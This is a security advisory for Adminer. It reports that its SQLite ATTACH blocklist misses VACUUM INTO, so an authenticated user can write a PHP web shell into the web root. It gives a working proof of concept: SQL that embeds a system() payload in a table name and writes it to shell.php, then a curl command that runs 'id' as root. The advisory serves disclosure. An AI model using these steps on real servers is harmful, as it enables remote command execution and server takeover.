Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}
Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
stage.db)Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
{
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:51:37Z",
"nvd_published_at": null,
"severity": "HIGH"
}